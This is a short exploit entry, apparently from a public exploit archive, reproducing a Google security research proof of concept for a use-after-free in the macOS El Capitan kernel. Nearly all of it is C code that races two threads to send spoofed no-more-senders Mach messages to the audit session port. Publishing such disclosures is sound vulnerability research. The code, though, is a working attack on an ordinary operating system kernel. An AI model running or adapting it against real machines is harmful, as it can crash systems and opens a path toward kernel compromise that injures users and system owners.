Apple Mac OSX Kernel - no-more-senders Use-After-Free

/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=567

Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/


// ianbeer

/*
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
*/

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <bsm/audit.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  mach_port_t conn = audit_session_self();
  if (conn == MACH_PORT_NULL) {
    printf("can't get audit session port\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}